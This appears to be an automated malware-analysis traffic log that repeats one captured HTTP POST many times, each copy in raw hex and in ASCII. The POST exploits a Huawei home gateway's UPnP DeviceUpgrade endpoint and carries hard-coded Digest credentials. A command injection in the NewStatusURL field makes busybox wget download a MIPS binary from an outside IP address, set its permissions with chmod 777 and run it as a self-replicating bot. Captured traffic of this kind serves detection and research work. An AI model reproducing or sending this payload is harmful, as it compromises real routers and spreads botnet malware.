Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
